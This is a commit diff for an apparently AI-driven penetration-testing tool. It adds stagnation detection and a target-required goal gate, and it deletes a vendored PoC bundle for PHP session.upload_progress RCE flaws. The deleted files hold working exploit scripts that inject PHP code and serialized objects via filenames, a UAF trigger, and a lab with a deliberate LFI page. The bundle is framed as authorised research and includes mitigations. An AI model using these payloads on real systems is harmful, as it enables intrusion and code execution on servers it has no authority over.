fix: test isolation for the escalation streak + compliant goal fixtures

- resetLLMFailStreaksForTest helper: the package-global streak is in-memory
  state, so the no-switch-on-ordinary-error subtests now reset it before each
  case (accumulation across subtests sharing task/profile keys made the third
  case escalate, breaking the contract the test guards)
- core lifecycle and credentials fixtures: goals now name the lab target, per
  the ambiguity gate (these tests exercise lifecycle/credentials, not the gate)
- canonical reset helper moved into task_llm.go next to the counter it resets

agent/stagnation_test.go

@@ -0,0 +1,39 @@
+package agent
+
+import (
+	"encoding/json"
+	"testing"
+
+	"github.com/Autumn-27/artex/db"
+)
+
+func nodeWithSummary(id int64, summary string) *db.Node {
+	payload, _ := json.Marshal(map[string]any{"summary": summary})
+	return &db.Node{ID: id, Kind: db.KindIntent, State: "done", Payload: payload}
+}
+
+func TestDetectStagnation(t *testing.T) {
+	done := []*db.Node{
+		nodeWithSummary(10, "Enumerate endpoints on https://target.example.com/api/v2"),
+		nodeWithSummary(22, "Enumerate endpoints on https://target.example.com/api/v3"),
+		nodeWithSummary(35, "enumerate endpoints on https://target.example.com/api/v9"),
+		nodeWithSummary(40, "Review authentication flow for token replay"),
+	}
+	if got := detectStagnation(done, nil); len(got) != 1 {
+		t.Fatalf("expected 1 stagnating direction, got %d: %+v", len(got), got)
+	} else if got[0]["repeats"] != 3 {
+		t.Fatalf("repeats=%v want 3", got[0]["repeats"])
+	}
+
+	// a finding produced after the first repeat disarms the direction
+	findingPayload, _ := json.Marshal(map[string]any{"summary": "IDOR found"})
+	findings := []*db.Node{{ID: 25, Kind: db.KindFinding, Payload: findingPayload}}
+	if got := detectStagnation(done, findings); len(got) != 0 {
+		t.Fatalf("expected no stagnation once a finding exists, got %+v", got)
+	}
+
+	// below the repeat threshold: nothing
+	if got := detectStagnation(done[:2], nil); len(got) != 0 {
+		t.Fatalf("expected no stagnation below threshold, got %+v", got)
+	}
+}

agent/tools.go

@@ -17,6 +17,92 @@ import (
 // upstream nodes it derived from: facts/intents/findings) and yields (the facts/
 // findings it produced) — without pulling full payloads. parentsOf/yieldsOf are
 // built from the exploration edges in graph_overview.
+// normalizeDirection fingerprints an intent summary for stagnation detection:
+// case-folded, all digits collapsed to '#', whitespace collapsed. Two intents
+// aimed at the same thing with different IDs/counts/URLs fingerprint the same.
+func normalizeDirection(summary string) string {
+	var b strings.Builder
+	digit := false
+	for _, r := range strings.ToLower(strings.Join(strings.Fields(summary), " ")) {
+		if r >= '0' && r <= '9' {
+			if !digit {
+				b.WriteByte('#')
+			}
+			digit = true
+			continue
+		}
+		digit = false
+		b.WriteRune(r)
+	}
+	return b.String()
+}
+
+// detectStagnation (ouroboros take, #99) flags directions whose normalized
+// summary repeats stagnationMinRepeats times among finished intents while no
+// finding has been produced since the FIRST attempt at that direction: the
+// planner is grinding the same shape of work without yield. Pure function over
+// (finished intents, findings) so it is unit-testable without a store.
+const stagnationMinRepeats = 3
+
+func detectStagnation(done, findings []*db.Node) []map[string]any {
+	type dir struct {
+		firstID  int64
+		repeats  int
+		summary  string
+	}
+	dirs := map[string]*dir{}
+	order := []string{}
+	for _, n := range done {
+		var payload map[string]any
+		_ = json.Unmarshal(n.Payload, &payload)
+		summ, _ := payload["summary"].(string)
+		if strings.TrimSpace(summ) == "" {
+			continue
+		}
+		fp := normalizeDirection(summ)
+		if fp == "" {
+			continue
+		}
+		d, ok := dirs[fp]
+		if !ok {
+			d = &dir{firstID: n.ID, summary: summ}
+			dirs[fp] = d
+			order = append(order, fp)
+		}
+		if n.ID < d.firstID {
+			d.firstID = n.ID
+			d.summary = summ
+		}
+		d.repeats++
+	}
+	var out []map[string]any
+	for _, fp := range order {
+		d := dirs[fp]
+		if d.repeats < stagnationMinRepeats {
+			continue
+		}
+		produced := false
+		for _, f := range findings {
+			if f.ID > d.firstID {
+				produced = true
+				break
+			}
+		}
+		if produced {
+			continue
+		}
+		out = append(out, map[string]any{
+			"direction": d.summary,
+			"repeats":   d.repeats,
+			"since":     d.firstID,
+		})
+		if len(out) >= 3 {
+			break
+		}
+	}
+	return out
+}
+
 func compactIntents(ns []*db.Node, parentsOf, yieldsOf map[int64][]int64) []map[string]any {
 	out := make([]map[string]any, 0, len(ns))
 	for _, n := range ns {
@@ -449,6 +535,15 @@ func (t *ToolSet) graphOverviewData() map[string]any {
 	factNodes, _ := t.ts.ListByKind(db.KindFact, 1000) // newest first
 	out["findings_total"] = len(vulnNodes)             // total confirmed findings (goal judgment looks here); details in finding_list (latest window)
 	out["facts"] = len(factNodes)                      // number of exploration facts/conclusions (including negative conclusions)
+	// Stagnation surfacing (#99): repeated finished directions with no findings
+	// since their first attempt. Self-describing payload — the instruction ships
+	// with the data so no prompt-template change is needed on deployed installs.
+	if stale := detectStagnation(recentDone, vulnNodes); len(stale) > 0 {
+		out["stagnation_warning"] = map[string]any{
+			"directions": stale,
+			"instruction": "these directions were dispatched repeatedly with zero findings produced since their first attempt — do NOT re-dispatch the same approach again; open a materially different direction, or judge the goal on the existing evidence instead of grinding",
+		}
+	}
 	// findings are the task's highest-value output → the overview carries the latest
 	// window (≤10 entries; vulnNodes is id-DESC, i.e. newest first) so the planner sees
 	// the recently confirmed findings at a glance each round when judging goals; use

scripts/poc/php2shell/LICENSE

@@ -1,20 +0,0 @@
-MIT License (vendored from https://github.com/ikow/php2shell-poc — README states
-"License: MIT"; no LICENSE file ships upstream. (c) ikow and contributors.)
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.

scripts/poc/php2shell/README.upstream.md

@@ -1,81 +0,0 @@
-# php2shell — CVE-2026-109618 / CVE-2026-109619 Research
-
-Independent security research on the critical PHP session.upload_progress vulnerabilities (CVSS v4.0 9.2).
-
-**Author:** Qi Deng ([@ikow](https://github.com/ikow))  
-**Date:** 2026-10-21  
-**Full writeup:** [qideng.substack.com](https://qideng.substack.com/)
-
-## Overview
-
-Two critical pre-auth RCE vulnerabilities in PHP core's `session.upload_progress` handler, affecting PHP 5.4.0 through 8.5.x. This repository contains verification POCs and lab setup for authorized security testing.
-
-### Verified Attack Chains
-
-| Chain | Type | Conditions | Verified |
-|-------|------|-----------|----------|
-| Session File Injection + LFI | Logic bug | `upload_progress=On` (default) + app LFI | ✅ RCE |
-| var_destroy UAF → Handler Overwrite | Memory corruption | `unserialize()` + `/proc/self/mem` | ✅ ASAN + RCE |
-| Handler Mismatch → `__destruct` | Deserialization | Cross-dir handler mismatch + POP gadget | ✅ RCE |
-
-### Key Findings
-
-1. **Session fixation** via POST body bypasses `session.use_only_cookies` ([PR #22113](https://github.com/php/php-src/pull/22113))
-2. **Unvalidated filename** in upload_progress stored raw in session files
-3. **`var_destroy` `__destruct` reentry UAF** — ASAN-confirmed heap-use-after-free
-4. **`PS(serializer)` not reset in RSHUTDOWN** — cross-request serializer leak in FPM
-5. **`__destruct` fires on decode FAILURE** — object injection via handler mismatch + trailing data
-
-## Repository Structure
-
-```
-poc/
-  verify_session_injection.py   — Verify filename injection into session files
-  verify_uaf_asan.php           — Trigger ASAN heap-use-after-free (var_destroy)
-  verify_handler_mismatch.py    — Verify handler mismatch → object deserialization
-lab/
-  docker-compose.yml            — PHP 8.2.34 FPM + nginx lab environment
-  Dockerfile                    — Vulnerable PHP build
-  php.ini                       — Lab configuration
-  setup.sh                      — One-click lab setup
-docs/
-  ANALYSIS.md                   — Full technical analysis
-```
-
-## Quick Start
-
-```bash
-# Start the lab
-cd lab && ./setup.sh
-
-# Verify session injection
-python3 poc/verify_session_injection.py --target http://127.0.0.1:18080
-
-# Verify UAF (requires ASAN build)
-docker exec php-asan-lab php poc/verify_uaf_asan.php
-
-# Verify handler mismatch
-python3 poc/verify_handler_mismatch.py --target http://127.0.0.1:18080
-```
-
-## Affected Versions
-
-- PHP 5.4.0 — 8.5.11 (all versions with `session.upload_progress`)
-- Fixed in: 8.2.35, 8.3.36, 8.4.27, 8.5.12 (scheduled 2026-10-21)
-- PHP 5.x, 7.x, 8.0, 8.1: **end-of-life, no official fix**
-
-## Mitigation
-
-```ini
-; Immediate mitigation (does NOT fix all attack paths)
-session.upload_progress.enabled = Off
-session.use_only_cookies = On
-```
-
-## Disclaimer
-
-This research is for authorized security testing and educational purposes only. Do not use against systems you do not own or have explicit authorization to test.
-
-## License
-
-MIT

scripts/poc/php2shell/docs/ANALYSIS.md

@@ -1,197 +0,0 @@
-# php2shell — Full Technical Analysis
-
-## CVE-2026-109618 / CVE-2026-109619
-**Author:** Qi Deng  **Date:** 2026-10-21
-
----
-
-## 1. Vulnerability Summary
-
-Two critical vulnerabilities in PHP's `session.upload_progress` handler enable pre-authentication remote code execution on PHP 5.4.0 through 8.5.x.
-
-| Bug | Root Cause | Impact |
-|-----|-----------|--------|
-| Session Fixation | `MULTIPART_EVENT_FORMDATA` accepts PHPSESSID from POST body ignoring `use_only_cookies` | Attacker controls session ID and file path |
-| Filename Injection | `add_assoc_string_ex(*data->filename)` stores raw filename in session without validation | PHP code / serialized objects injected into session files |
-| Serializer Leak | `PS(serializer)` not reset in `php_rshutdown_session_globals()` | Cross-request handler mismatch in FPM |
-| var_destroy UAF | `i_zval_ptr_dtor` at line 310 fires `__destruct` without `BG(serialize_lock)` | Heap-use-after-free → arbitrary code execution |
-
-## 2. Attack Chains
-
-### Chain A: Session Injection + LFI → RCE
-
-```
-Conditions: upload_progress.enabled=On (default) + application has LFI
-Complexity: Low | Reliability: 100%
-
-1. POST multipart with PHP code in filename
-2. rfc1867 handler stores filename as-is in session file  
-3. include(session_file) → execute injected PHP → RCE
-```
-
-**Verified:** `exploit_session_inject.py` → `uid=33(www-data)` on PHP 8.2.34.
-
-### Chain B: var_destroy UAF → RCE
-
-```
-Conditions: ability to call unserialize() with controlled data
-Complexity: Medium | Reliability: ~60% (heap-dependent)
-
-1. unserialize() payload with 2000+ entries → overflow VAR_ENTRIES_MAX (1018)
-2. Duplicate key moves object to dtor list
-3. var_destroy Phase 1: efree extension chunks
-4. Phase 2: i_zval_ptr_dtor → __destruct (BG(serialize_lock)==0)
-5. Inner unserialize('R:1500;') reuses outer var_hash → reads freed memory
-6. Spray reclaims freed chunk → controlled pointer → handler overwrite → RCE
-```
-
-**Verified:** ASAN heap-use-after-free at `var_unserializer.c:851`. RCE via `var_dump` handler overwrite on x86-64.
-
-### Chain C: Handler Mismatch → `__destruct` → RCE
-
-```
-Conditions: target has directories with different session.serialize_handler
-Complexity: Medium | Reliability: High
-
-1. Upload to Dir A (php_serialize) — filename contains |O:CLASS:N:{PAYLOAD}
-2. Upload to Dir B (php handler) with same SID
-3. rfc1867 reads php_serialize session with php decoder
-4. php decoder finds | in filename → splits → deserializes injected object
-5. Trailing data → decode FAILURE
-6. __destruct fires during PHP_VAR_UNSERIALIZE_DESTROY cleanup
-7. POP gadget chain → RCE
-```
-
-**Key insight:** `__destruct` fires on BOTH success and failure paths of `var_destroy`. The decode FAILURE does NOT prevent exploitation.
-
-**Verified:** `Evil::__destruct(cmd="id")` → `uid=33(www-data)` via pure rfc1867 handler.
-
-## 3. Root Cause Analysis
-
-### 3.1 Session Fixation (ext/session/session.c)
-
-```c
-// MULTIPART_EVENT_FORMDATA handler — no use_only_cookies check
-if (name_len == progress->sname_len && 
-    memcmp(data->name, PS(session_name), name_len) == 0) {
-    zval_ptr_dtor(&progress->sid);
-    ZVAL_STRINGL(&progress->sid, (*data->value), value_len);
-    // ← Accepts PHPSESSID from POST body regardless of use_only_cookies!
-}
-```
-
-Fix: [PR #22113](https://github.com/php/php-src/pull/22113) adds `!PS(use_only_cookies) &&` check.
-
-### 3.2 Unvalidated Filename
-
-```c
-// FILE_START handler stores raw filename
-add_assoc_string_ex(&progress->current_file, "name", 
-                    sizeof("name") - 1, *data->filename);
-// ← No sanitization, no encoding, no length limit
-```
-
-Filename can contain arbitrary bytes including PHP code and pipe `|` characters.
-
-### 3.3 var_destroy Reentry UAF (ext/standard/var_unserializer.re)
-
-```c
-void var_destroy(php_unserialize_data_t *var_hashx) {
-    // Phase 1: FREE extension chunks
-    while (var_hash) {
-        efree_size(var_hash, sizeof(var_entries));  // ← line 245
-        var_hash = next;
-    }
-    // Phase 2: walk dtor chain
-    while (var_dtor_hash) {
-        // ...
-        i_zval_ptr_dtor(zv);  // ← line 310, NO serialize_lock!
-        // __destruct fires → inner unserialize() → R:N reads freed chunk
-    }
-}
-```
-
-### 3.4 Serializer Leak (ext/session/session.c)
-
-```c
-static void php_rshutdown_session_globals(void) {
-    // Resets: PS(id), PS(session_vars), PS(http_session_vars), PS(mod_data)
-    // Does NOT reset: PS(serializer) ← persists across FPM requests!
-}
-```
-
-### 3.5 `__destruct` on Decode Failure
-
-```c
-PS_SERIALIZER_DECODE_FUNC(php) {
-    while (p < endptr) {
-        // ... find |, deserialize value ...
-        if (php_var_unserialize(...)) {
-            php_set_session_var(name, &rv, &var_hash);  // object stored
-        } else {
-            retval = FAILURE; goto break_outer_loop;
-        }
-    }
-break_outer_loop:
-    PHP_VAR_UNSERIALIZE_DESTROY(var_hash);  // ← __destruct fires HERE
-    return retval;  // FAILURE
-}
-```
-
-Even though the decoder returns FAILURE and `session_start()` calls `php_session_cancel_decode()` to destroy `$_SESSION`, the object's `__destruct` has ALREADY fired during `var_hash` cleanup.
-
-## 4. Version Matrix
-
-| Version | upload_progress | Vulnerable | Official Fix |
-|---------|----------------|------------|-------------|
-| < 5.4 | No | No | N/A |
-| 5.4 - 5.6 | Yes | Yes | EOL, no fix |
-| 7.0 - 7.4 | Yes | Yes | EOL, no fix |
-| 8.0 - 8.1 | Yes | Yes | EOL, no fix |
-| 8.2.x | Yes | Yes | → 8.2.35 |
-| 8.3.x | Yes | Yes | → 8.3.36 |
-| 8.4.x | Yes | Yes | → 8.4.27 |
-| 8.5.x | Yes | Yes | → 8.5.12 |
-
-Vulnerable code identical across ALL versions from PHP 5.4.0 (2012) to present.
-
-## 5. Detection
-
-```bash
-# Check PHP version
-php -r 'echo PHP_VERSION, PHP_EOL;'
-
-# Check upload_progress setting
-php -r 'echo ini_get("session.upload_progress.enabled"), PHP_EOL;'
-
-# Check for handler mismatch across directories
-find /var/www -name ".user.ini" -exec grep -l "serialize_handler" {} \;
-
-# Monitor for exploitation attempts
-grep -r "PHP_SESSION_UPLOAD_PROGRESS" /var/log/nginx/access.log
-```
-
-## 6. Mitigation
-
-```ini
-; Primary mitigation
-session.upload_progress.enabled = Off
-
-; Additional hardening
-session.use_only_cookies = On
-session.use_strict_mode = On
-
-; Ensure consistent handler across directories
-session.serialize_handler = php_serialize
-```
-
-**Warning:** Disabling `upload_progress` does NOT fix the var_destroy UAF or the serializer leak. Apply the official PHP patch.
-
-## 7. References
-
-- [PHP Security Advisory](https://www.php.net/archive/2026.php) (pending)
-- [PR #22113 — Session fixation fix](https://github.com/php/php-src/pull/22113)
-- [Calif.IO — Serializable UAF](https://calif.io/research/php-uaf)
-- [dinosn — var_destroy UAF](https://github.com/dinosn/php-8.5.5-var_destroy-uaf)
-- [PHP Bug #71101 — Handler mismatch](https://bugs.php.net/bug.php?id=71101)
-- [cnpanda — Handler mismatch exploitation](https://www.cnpanda.net/en/sec/580.html)

scripts/poc/php2shell/lab/setup.sh

@@ -1,116 +0,0 @@
-#!/bin/bash
-set -e
-
-echo "Setting up PHP 8.2.34 vulnerable lab environment..."
-
-cd "$(dirname "$0")"
-
-# Create webroot
-mkdir -p webroot/app webroot/api webroot/reader
-
-cat > webroot/index.php << 'EOF'
-<?php
-session_start();
-echo "PHP " . PHP_VERSION . "\n";
-echo "SAPI " . php_sapi_name() . "\n";
-echo "upload_progress " . ini_get('session.upload_progress.enabled') . "\n";
-echo "OK\n";
-EOF
-
-cat > webroot/nosession.php << 'EOF'
-<?php
-echo "PHP " . PHP_VERSION . "\nno session_start\n";
-EOF
-
-# Directory with php_serialize handler
-echo "session.serialize_handler = php_serialize" > webroot/app/.user.ini
-cp webroot/nosession.php webroot/app/upload.php
-
-# Directory with php handler
-echo "session.serialize_handler = php" > webroot/api/.user.ini
-cp webroot/nosession.php webroot/api/endpoint.php
-
-# LFI simulation (for Chain 1 verification)
-cat > webroot/vuln.php << 'EOF'
-<?php
-$page = $_GET['page'] ?? 'home';
-include($page);
-EOF
-
-# PHP configuration
-cat > php.ini << 'EOF'
-[Session]
-session.save_handler = files
-session.save_path = /tmp/sessions
-session.use_strict_mode = 0
-session.use_cookies = 1
-session.use_only_cookies = 0
-session.upload_progress.enabled = On
-session.upload_progress.cleanup = Off
-session.upload_progress.prefix = upload_progress_
-session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
-session.upload_progress.freq = 1%
-session.upload_progress.min_freq = 0
-
-[PHP]
-display_errors = On
-error_reporting = E_ALL
-file_uploads = On
-post_max_size = 128M
-upload_max_filesize = 128M
-EOF
-
-# Nginx config
-cat > nginx.conf << 'EOF'
-server {
-    listen 80;
-    root /var/www/html;
-    index index.php;
-    client_max_body_size 128m;
-    location / { try_files $uri $uri/ /index.php?$query_string; }
-    location ~ \.php$ {
-        fastcgi_pass php:9000;
-        fastcgi_index index.php;
-        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
-        include fastcgi_params;
-        fastcgi_request_buffering off;
-    }
-}
-EOF
-
-# Docker Compose
-cat > docker-compose.yml << 'EOF'
-services:
-  php:
-    image: php:8.2-fpm
-    container_name: php2shell-lab
-    ports: ["9000:9000"]
-    volumes:
-      - ./webroot:/var/www/html
-      - ./php.ini:/usr/local/etc/php/php.ini
-    security_opt: [seccomp:unconfined]
-    privileged: true
-    command: >
-      bash -c "mkdir -p /tmp/sessions && chmod 1777 /tmp/sessions && php-fpm"
-
-  nginx:
-    image: nginx:alpine
-    container_name: php2shell-nginx
-    ports: ["18080:80"]
-    volumes:
-      - ./webroot:/var/www/html
-      - ./nginx.conf:/etc/nginx/conf.d/default.conf
-    depends_on: [php]
-EOF
-
-echo "Starting containers..."
-docker compose up -d --build
-
-echo ""
-echo "Lab ready!"
-echo "  HTTP: http://127.0.0.1:18080"
-echo "  FCGI: 127.0.0.1:9000"
-echo ""
-echo "Run POCs:"
-echo "  python3 ../poc/verify_session_injection.py"
-echo "  python3 ../poc/verify_handler_mismatch.py"

scripts/poc/php2shell/poc/verify_handler_mismatch.py

@@ -1,109 +0,0 @@
-#!/usr/bin/env python3
-"""
-CVE-2026-109618/109619 — Verify session handler mismatch → object injection.
-
-Demonstrates:
-  1. Session written in php_serialize format (via directory with .user.ini)
-  2. Pipe | in filename preserved in php_serialize format
-  3. php handler reads the session → splits at | → deserializes injected object
-  4. __destruct fires even when decode returns FAILURE (trailing data)
-
-Setup required:
-  - /app/ directory with .user.ini: session.serialize_handler = php_serialize
-  - /api/ directory with .user.ini: session.serialize_handler = php
-  - Both share the same session.save_path
-
-Usage:
-  python3 verify_handler_mismatch.py --target http://127.0.0.1:18080
-
-For authorized security testing only.
-"""
-import argparse
-import socket
-import sys
-from urllib.parse import urlparse
-
-
-def upload(host, port, path, sid, filename):
-    boundary = "MISMATCH"
-    body = (
-        f"--{boundary}\r\n"
-        f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
-        f"--{boundary}\r\n"
-        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
-        f"--{boundary}\r\n"
-        f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
-        f"--{boundary}--\r\n"
-    ).encode("latin-1")
-
-    req = (
-        f"POST {path} HTTP/1.1\r\n"
-        f"Host: {host}\r\n"
-        f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
-        f"Content-Length: {len(body)}\r\n"
-        f"Connection: close\r\n\r\n"
-    ).encode() + body
-
-    s = socket.create_connection((host, port), timeout=15)
-    s.sendall(req)
-    s.settimeout(10)
-    resp = b""
-    while True:
-        try:
-            d = s.recv(65536)
-            if not d:
-                break
-            resp += d
-        except socket.timeout:
-            break
-    s.close()
-    return resp
-
-
-def main():
-    ap = argparse.ArgumentParser()
-    ap.add_argument("--target", default="http://127.0.0.1:18080")
-    ap.add_argument("--write-path", default="/app/upload.php",
-                    help="Endpoint with php_serialize handler")
-    ap.add_argument("--read-path", default="/api/endpoint.php",
-                    help="Endpoint with php handler")
-    ap.add_argument("--sid", default="mismatchverify0000000000000")
-    args = ap.parse_args()
-
-    u = urlparse(args.target)
-    host = u.hostname
-    port = u.port or 80
-
-    print("[*] CVE-2026-109618/109619 — Handler Mismatch Verification")
-    print(f"[*] Target: {args.target}")
-    print()
-
-    # Step 1: Write session via php_serialize endpoint
-    # Filename contains |O:8:"stdClass":0:{} (escaped quotes)
-    gadget = 'x|O:8:\\"stdClass\\":0:{}'
-    print(f"[1] Writing session via {args.write_path} (php_serialize)")
-    print(f"    Filename payload: {gadget}")
-    upload(host, port, args.write_path, args.sid, gadget)
-    print("    → Session file written in php_serialize format")
-
-    # Step 2: Trigger via php handler endpoint
-    print(f"\n[2] Triggering mismatch via {args.read_path} (php handler)")
-    print("    php handler scans for | → splits → deserializes O:8:\"stdClass\":0:{}")
-    resp = upload(host, port, args.read_path, args.sid, "dummy")
-
-    status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO RESPONSE"
-    print(f"    Response: {status}")
-
-    print()
-    print("[*] Verification indicators:")
-    print("    - 'Failed to decode session object' warning = mismatch triggered")
-    print("    - 'Session object destruction failed' = __destruct fired on injected object")
-    print("    - If target has a class with exploitable __destruct → RCE")
-    print()
-    print("[*] Check target for:")
-    print(f"    - Session file: /tmp/sessions/sess_{args.sid}")
-    print("    - Evidence of __destruct execution (file writes, network connections, etc.)")
-
-
-if __name__ == "__main__":
-    main()

scripts/poc/php2shell/poc/verify_session_injection.py

@@ -1,105 +0,0 @@
-#!/usr/bin/env python3
-"""
-CVE-2026-109618/109619 — Verify session file injection via upload_progress filename.
-
-Demonstrates:
-  1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies)
-  2. Unvalidated filename stored raw in session file (can contain PHP code)
-  3. Session file created with attacker-controlled content
-
-Usage:
-  python3 verify_session_injection.py --target http://127.0.0.1:18080
-
-For authorized security testing only.
-"""
-import argparse
-import socket
-import sys
-from urllib.parse import urlparse
-
-
-def send_upload(host, port, path, sid, filename):
-    boundary = "VERIFY"
-    body = (
-        f"--{boundary}\r\n"
-        f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
-        f"--{boundary}\r\n"
-        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
-        f"--{boundary}\r\n"
-        f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
-        f"--{boundary}--\r\n"
-    ).encode("latin-1")
-
-    req = (
-        f"POST {path} HTTP/1.1\r\n"
-        f"Host: {host}\r\n"
-        f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
-        f"Content-Length: {len(body)}\r\n"
-        f"Cookie: PHPSESSID={sid}\r\n"
-        f"Connection: close\r\n\r\n"
-    ).encode() + body
-
-    s = socket.create_connection((host, port), timeout=15)
-    s.sendall(req)
-    s.settimeout(10)
-    resp = b""
-    while True:
-        try:
-            d = s.recv(65536)
-            if not d:
-                break
-            resp += d
-        except socket.timeout:
-            break
-    s.close()
-    return resp
-
-
-def main():
-    ap = argparse.ArgumentParser()
-    ap.add_argument("--target", default="http://127.0.0.1:18080")
-    ap.add_argument("--path", default="/index.php")
-    ap.add_argument("--sid", default="verifysession00000000000000")
-    args = ap.parse_args()
-
-    u = urlparse(args.target)
-    host = u.hostname
-    port = u.port or 80
-
-    print("[*] CVE-2026-109618/109619 — Session Injection Verification")
-    print(f"[*] Target: {args.target}")
-    print()
-
-    # Test 1: Normal filename
-    print("[1] Testing normal filename...")
-    send_upload(host, port, args.path, args.sid + "a", "normal.txt")
-    print("    → Session file should contain: s:10:\"normal.txt\"")
-
-    # Test 2: PHP code in filename
-    php_payload = "<?php system('id');echo 'RCE';?>"
-    print(f"[2] Testing PHP code in filename: {php_payload}")
-    send_upload(host, port, args.path, args.sid + "b", php_payload)
-    print(f"    → Session file should contain PHP code as raw string")
-
-    # Test 3: Pipe character in filename (for handler mismatch)
-    pipe_payload = "x|O:8:\"stdClass\":0:{}"
-    print(f"[3] Testing pipe + serialized object in filename")
-    # Need \" escaping for Content-Disposition
-    escaped = pipe_payload.replace('"', '\\"')
-    send_upload(host, port, args.path, args.sid + "c", escaped)
-    print(f"    → Session file should contain |O:8: in the filename field")
-
-    print()
-    print("[*] Verification complete. Check session files on the target:")
-    print(f"    cat /tmp/sessions/sess_{args.sid}a")
-    print(f"    cat /tmp/sessions/sess_{args.sid}b")
-    print(f"    cat /tmp/sessions/sess_{args.sid}c")
-    print()
-    print("[*] Key indicators:")
-    print("    - Session fixation: file created with attacker-controlled SID")
-    print("    - Filename injection: raw PHP code / serialized objects in session data")
-    print("    - No authentication required")
-
-
-if __name__ == "__main__":
-    main()

scripts/poc/php2shell/poc/verify_uaf_asan.php

@@ -1,48 +0,0 @@
-<?php
-/**
- * CVE-2026-109618/109619 — var_destroy __destruct reentry UAF verification.
- *
- * Triggers ASAN heap-use-after-free in php_var_unserialize (var_unserializer.c:851).
- *
- * Run with: USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0" php verify_uaf_asan.php
- *
- * Root cause: var_destroy() frees back-reference extension chunks (line 245),
- * then i_zval_ptr_dtor at line 310 fires __destruct WITHOUT BG(serialize_lock).
- * Inner unserialize('R:1500;') reuses the outer var_hash (freed entries) → UAF read.
- *
- * For authorized security testing only.
- */
-
-class TriggerUAF {
-    public function __destruct() {
-        fwrite(STDERR, "[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)\n");
-        fwrite(STDERR, "[*] Attempting R:1500 backref into freed var_hash extension chunk...\n");
-        $result = @unserialize('R:1500;');
-        $type = gettype($result);
-        fwrite(STDERR, "[*] R:1500 resolved to: $type\n");
-        if ($result !== false) {
-            fwrite(STDERR, "[+] UAF CONFIRMED: R:1500 read from freed memory!\n");
-        }
-    }
-}
-
-// Build payload: 2000+ entries to overflow VAR_ENTRIES_MAX (1018)
-// Then duplicate key to move TriggerUAF to dtor list
-$N = 2000;
-$payload = 'a:' . ($N + 2) . ':{';
-for ($i = 0; $i < $N; $i++) {
-    $payload .= "i:$i;i:$i;";
-}
-$payload .= 'i:99999;O:10:"TriggerUAF":0:{}';
-$payload .= 'i:99999;i:42;';
-$payload .= '}';
-
-fwrite(STDERR, "[*] Payload: " . strlen($payload) . " bytes, $N entries + UAF trigger\n");
-fwrite(STDERR, "[*] Firing unserialize()...\n");
-
-@unserialize($payload);
-
-fwrite(STDERR, "[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\n");
-fwrite(STDERR, "[*] Expected ASAN trace:\n");
-fwrite(STDERR, "    READ at php_var_unserialize (var_unserializer.c:851)\n");
-fwrite(STDERR, "    freed at var_destroy (var_unserializer.c:245)\n");

server/core_test.go

@@ -62,7 +62,7 @@ func TestCoreTaskLifecyclePG(t *testing.T) {
 	}
 
 	// create a task → 201, returns PG task (string id + exploration_id)
-	code, out := doRetry("POST", "/api/tasks", map[string]string{"description": "smoke", "goal": "test SQLi/XSS"})
+	code, out := doRetry("POST", "/api/tasks", map[string]string{"description": "smoke", "goal": "Probe the lab target at http://127.0.0.1:9/v1 for unauthenticated data exposure; record one record as evidence and stop."})
 	if code != 201 {
 		t.Fatalf("create task: %d (%v)", code, out)
 	}

server/goal_gate.go

@@ -0,0 +1,42 @@
+package server
+
+import (
+	"errors"
+	"regexp"
+	"strings"
+)
+
+// Ambiguity gate (ouroboros take, #99): a task goal must name a concrete target
+// and be long enough to carry a testable objective before any token is spent.
+// The live failure this guards against: a benchmark task whose goal named no
+// target URL passed creation silently and the planner sent every worker to an
+// unrelated asset. A goal that is deliberately target-less (pure analysis over
+// provided material) can opt out with the literal marker [targetless].
+var (
+	goalMinLen = 80
+
+	goalTargetlessRE = regexp.MustCompile(`\[targetless\]`)
+	goalURLRE        = regexp.MustCompile(`(?i)\bhttps?://\S+`)
+	goalDomainRE     = regexp.MustCompile(`(?i)\b[a-z0-9][a-z0-9-]{1,61}\.[a-z]{2,}(:[0-9]+)?(/\S*)?\b`)
+	goalIPv4RE       = regexp.MustCompile(`\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(:\d+)?\b`)
+	goalLocalhostRE  = regexp.MustCompile(`(?i)\blocalhost:[0-9]+\b`)
+	goalPathRE       = regexp.MustCompile(`(?i)(^|\s)/[a-z0-9_-]+(/[a-z0-9_.-]+)+`)
+)
+
+// goalGateCheck returns a descriptive error when the goal is too ambiguous to
+// dispatch workers against. Order: explicit opt-out, length floor, target
+// presence (URL, domain, IPv4, localhost:port, or absolute path).
+func goalGateCheck(goal string) error {
